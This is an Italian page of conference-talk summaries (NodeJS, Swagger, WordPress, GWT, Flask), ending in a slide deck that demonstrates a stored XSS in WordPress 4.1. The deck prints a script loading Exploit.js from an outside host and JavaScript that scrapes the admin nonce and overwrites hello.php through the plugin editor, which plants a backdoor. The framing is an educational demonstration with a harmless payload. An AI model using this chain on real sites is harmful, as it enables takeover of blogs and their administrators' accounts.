Ecco le mie slide su NodeJS al Napoli DevDay . Vedrete praticamente, con l'ausilio di snippet di codice, alcuni dei punti chiave di questo linguaggio.
Per vedere le slide con le gif funzionanti:
https://docs.google.com/presentation/d/1EDsvR99WUDx3IBhygYt51YKM1sA5UA_PJmaRFh9HTa4/edit?usp=sharing
A questo repository troverete gli esempi fatti durante il talk:
https://github.com/musikele/nodeJsExamples
Per testare le API rest io uso Advanced Rest Client, estensione di Chrome. Ricordatevi di settare l'encoding a application/json .
Node js: che cos'è e a che cosa serve?
oppure
Node.js
Dimmi con quale contorno ti posso mangiare?
All'interno di queste slide, 25 di numero e per essere esatti, cerco di rispondere ad alcune domande che ho ricevuto e riguardavano NodeJS. Mi auguro che siano di vostro gradimento e spero che vi siano utili.
Aspetto i vostri commenti qui sotto, in più potete trovare anche altre informazioni all'interno delle pagine di InsiDevCode (http://www.insidevcode.eu/)
Ecco le mie slide su NodeJS al Napoli DevDay . Vedrete praticamente, con l'ausilio di snippet di codice, alcuni dei punti chiave di questo linguaggio.
Per vedere le slide con le gif funzionanti:
https://docs.google.com/presentation/d/1EDsvR99WUDx3IBhygYt51YKM1sA5UA_PJmaRFh9HTa4/edit?usp=sharing
A questo repository troverete gli esempi fatti durante il talk:
https://github.com/musikele/nodeJsExamples
Per testare le API rest io uso Advanced Rest Client, estensione di Chrome. Ricordatevi di settare l'encoding a application/json .
Node js: che cos'è e a che cosa serve?
oppure
Node.js
Dimmi con quale contorno ti posso mangiare?
All'interno di queste slide, 25 di numero e per essere esatti, cerco di rispondere ad alcune domande che ho ricevuto e riguardavano NodeJS. Mi auguro che siano di vostro gradimento e spero che vi siano utili.
Aspetto i vostri commenti qui sotto, in più potete trovare anche altre informazioni all'interno delle pagine di InsiDevCode (http://www.insidevcode.eu/)
Swagger è una specifica Open Source ed è lo standard di fatto per la descrizione delle RESTful API. Usa un linguaggio JSON like per descrivere le azioni, i parametri e la struttura dei dati dell’API. In questa sessione spiegheremo in dettaglio cos'è, a cosa serve e come si usa.
Cos'è un Tema WordPress, l'anatomia di un Tema, la gerarchia dei Template, l'uso dei Template Tag, la personalizzazione tramite Customizer e Child Themes. Le slide dell'intervento al WordPress Meetup Torino del 12 Aprile 2016.
HTML5 Single Page Application è il nuovo hype tecnologico: tutti ne parlano, il web ne è pervaso, da GMail a Facebook e Twitter, dal desktop al mobile, dagli Appennini alle Ande.
In questa sessione ci occuperemo di tutti quegli aspetti di organizzazione di una solution in termini di codebase, unit testing e processo di build, presentando alcuni strumenti che stanno emergendo fra quelli disponibili.
Demo: http://www.communitydays.it/events/2014-Roma/web02/
Sempre più di frequente sentiamo parlare di nuove librerie, framework o linguaggi. Tutte queste nuove tecnologie promettono miracoli ma il nostro tempo è una risorsa finita e non abbiamo il lusso di poter approfondire ogni novità.
Le PWA si basano su tecnologie che già usiamo tutti i giorni nello sviluppo WEB quindi, senza farci intimidire, possiamo approcciare qualcosa che effettivamente rivoluzioni il nostro lavoro e che possa farlo con il minimo sforzo da parte nostra.
Swagger è una specifica Open Source ed è lo standard di fatto per la descrizione delle RESTful API. Usa un linguaggio JSON like per descrivere le azioni, i parametri e la struttura dei dati dell’API. In questa sessione spiegheremo in dettaglio cos'è, a cosa serve e come si usa.
Cos'è un Tema WordPress, l'anatomia di un Tema, la gerarchia dei Template, l'uso dei Template Tag, la personalizzazione tramite Customizer e Child Themes. Le slide dell'intervento al WordPress Meetup Torino del 12 Aprile 2016.
HTML5 Single Page Application è il nuovo hype tecnologico: tutti ne parlano, il web ne è pervaso, da GMail a Facebook e Twitter, dal desktop al mobile, dagli Appennini alle Ande.
In questa sessione ci occuperemo di tutti quegli aspetti di organizzazione di una solution in termini di codebase, unit testing e processo di build, presentando alcuni strumenti che stanno emergendo fra quelli disponibili.
Demo: http://www.communitydays.it/events/2014-Roma/web02/
Sempre più di frequente sentiamo parlare di nuove librerie, framework o linguaggi. Tutte queste nuove tecnologie promettono miracoli ma il nostro tempo è una risorsa finita e non abbiamo il lusso di poter approfondire ogni novità.
Le PWA si basano su tecnologie che già usiamo tutti i giorni nello sviluppo WEB quindi, senza farci intimidire, possiamo approcciare qualcosa che effettivamente rivoluzioni il nostro lavoro e che possa farlo con il minimo sforzo da parte nostra.
by Davide Cerbo e Stefano Linguerri
La programmazione web sta facendo passi da gigante e oggi l’utente si aspetta che l’esperienza di utilizzo si avvicini sempre di più a quella a cui è abituato nei classici applicativi desktop. Il mondo degli sviluppatori ha risposto inventanto una nuova sigla: RIA, cioè Rich Internet Application. Google non è stata a guardare e ha fornito la sua risposta a questa esigenza donando alla community Google Web Toolkit. Questo nuovo framework permette di sviluppare in Java tutta l’interfaccia utente per poi ottenere un codice javascript che funzionerà su qualsiasi browser web senza l’installazione di plugin aggiuntivi. In questa presentazione vedremo:
* perchè sviluppare applicazioni RIA
* perchè usare GWT
* come GWT utilizza AJAX per comunicare con il server
* le ottimizzazione che avremo utilizzando GWT
* come uscire dal browser con Google Gear e Mozilla Prism
* e non solo…
Oggi possiamo finalmente lasciarci alle spalle l’idea di dover utilizzare PHP per lo sviluppo web. Durante la presentazione verrà spiegato un semplice workflow che utilizzo per lavorare con Python, Flask, SQLite, Apache e Git per ridurre i bug, semplificare il codice e ottimizzare i tempi di deployment.
Questo intervento ha fatto parte del Linux Day 2017.
Il video è disponibile qui: https://youtu.be/0Rwd75iHZN4
1. Hacking in Action - 1
Introduzione di una backdoor
in un blogWordPress 4.1
2. VULNERABILITÀ in WordPress 4.1
La versione 4.1 di WordPress contiene
una grave vulnerabilità di tipo Storage XSS
◦ XSS: Cross Site Scripting
Esecuzione di uno script (per es. Javascript) sul
computer del visitatore per il tramite di un sito
“pulito”
◦ Stored XSS
Lo script maligno viene in qualche modo
incorporato nel sito stesso
3. VULNERABILITÀ in WordPress 4.1
La dimensione massima di un commento a un post è
pari a 64kB
Se un commento è più lungo, viene troncato prima di
essere memorizzato nel database
Se il commento è scritto in HTML, l’operazione di
troncamento porta alla creazione di una stringa
HTML non corretta.
È possibile in questo modo far sì che ad ogni
visualizzazione del commento venga eseguito dal
client uno script maligno.
5. VULNERABILITÀ in WordPress 4.1
Lo script risultante
var a.document.createElement(‘script’);
a.setAttribute(‘src’,
’http://sitomaligno.altervista.org/Exploit.js’);
document.head.appendChild(a)
Viene aggiunto nella sezione head della pagina
Wordpress un riferimento
◦ sitomaligno.altervista.org
◦ Exploit.js
6. VULNERABILITÀ in WordPress 4.1
Quando viene eseguito lo script?
◦ Quando il mouse ci finisce sopra.
◦ Sembra un po’ difficile…
Rendiamo il link un po’ più grosso
position:absolute;
left:0;
top:0;
width:5000px;
height:5000px
Occupa tutto lo schermo!
7. Vediamola in azione
Usiamo uno script semplice e innocuo:
◦ window.alert(“Eccomi”);
Guarda su YouTube
Quando lo script viene eseguito
dall’amministratore del blog, possiede
tutti i privilegi di accesso ai file e di
esecuzione delle operazioni
amministrative!
8. Inserimento di una backdoor
Proviamo una cosa meno innocua
◦ Carichiamo un file sul server che gestisce il blog
Ogni installazione di WordPress contiene un
file di prova
◦ hello.php
◦ Contiene semplicemente il testo della canzone
Hello Dolly
◦ Sostanzialmente è un plugin dimostrativo
Sostituiamo questo file con uno script
prodotto da noi e potenzialmente maligno
◦ <?php echo 'Il sito maligno ha colpito!'; ?>
◦ Potremo eseguire questo script da remoto!
9. Inserimento di una backdoor
Come facciamo?
◦ Modifichiamo il file Exploit.js
Mandiamo una richiesta POST all’editor dei plugin di
WordPress, ordinandogli di aggiornare il file hello.php
◦ In pratica lo sostituiamo con il nostro script maligno
◦ Diventa la nostra backdoor
Problema
◦ Wordpress genera un codice, detto NONCE, inserito in
ogni form del blog
◦ Il server web convalida solo le richieste POST che
contengono un NONCE valido
◦ In linea di massima ad ogni richiesta di pagina viene
generato un NONCE diverso
10. Inserimento di una backdoor
Come otteniamo un NONCE valido per la nostra
richiesta POST?
◦ Inviamo al blog una richiesta GET di visualizzazione
del file hello.php
La risposta alla richiesta GET conterrà un form per la modifica
del file stesso
Questo form conterrà un NONCE valido
Il NONCE valido verrà inserito in una richiesta
POST per l’aggiornamento del file hello.php
◦ Wordpress riconoscerà il NONCE appena generato e
autorizzerà l’aggiornamento del file
Tutto questo si svolge quando l’amministratore
visualizza il nostro commento maligno
11. Inserimento di una backdoor
Ecco lo script - Parte 1
// Funzione che effettua una richiesta GET HTTPS
function httpGet(theUrl)
{
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", theUrl, false );
xmlHttp.setRequestHeader("HTTPS","1");
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlHttp.send( null );
return xmlHttp.responseText;
}
// Funzione che effettua una richiesta POST HTTPS
function httpPost(theUrl,theParameters)
{
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "POST", theUrl, false );
xmlHttp.setRequestHeader("HTTPS","1");
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlHttp.send( theParameters );
return xmlHttp.responseText;
}
12. Inserimento di una backdoor
Ecco lo script - Parte 2
// Richiesta del file hello.php (sempre presente nelle
installazioni WordPress)
var hello = httpGet("http://wordpress.promomaremma.net/wp-
admin/plugin-editor.php?file=hello.php&plugin=hello.php");
// Ricerca di un nonce valido
var nonce_pos =
hello.indexOf(unescape("name%3D%22%5Fwpnonce%22%20value%3D%22
"));
var nonce = hello.substr(nonce_pos+23,10);
// Costruzione dei parametri della richiesta POST con il nonce
appena ottenuto
// Costruzione dei parametri della richiesta POST con il nonce
appena ottenuto
var parameters = "_wpnonce=" + nonce + "&_wp_http_referer=" +
escape("/wp-admin/plugin-editor.php") + "&newcontent= " +
escape("<?php echo 'Il sito maligno ha colpito!'; ?>") +
"&action=update&file=hello.php&plugin=hello.php&scrollto=0&do
c-list=&submit=Aggiorna+file";
// Modifica del file hello.php con il contenuto maligno
httpPost("http://wordpress.promomaremma.net/wp-admin/plugin-
editor.php",parameters);
13. Vediamola in azione
Notare come tutto venga eseguito
dall’amministratore a sua insaputo
◦ Diversamente non funzionerebbe
Guarda su YouTube
Questa falla di sicurezza è stata scoperta nella
versione 3.9.3 di Wordpress
È stata corretta a partire dalla versione 4.2.1
◦ In realtà le versioni superiori alle 4.1.2 non sono risultate
vulnerabili, ma la 4.2 sì.
Per il nostro test abbiamo utilizzato la versione 4.1
14. Ulteriori sviluppi
La backdoor può essere eseguita sul
momento
◦ Si esegue subito una GET sul file hello.php
appena modificato
In questo modo si può operare sul blog
come si vuole
◦ Per esempio cambiando la password di
amministratore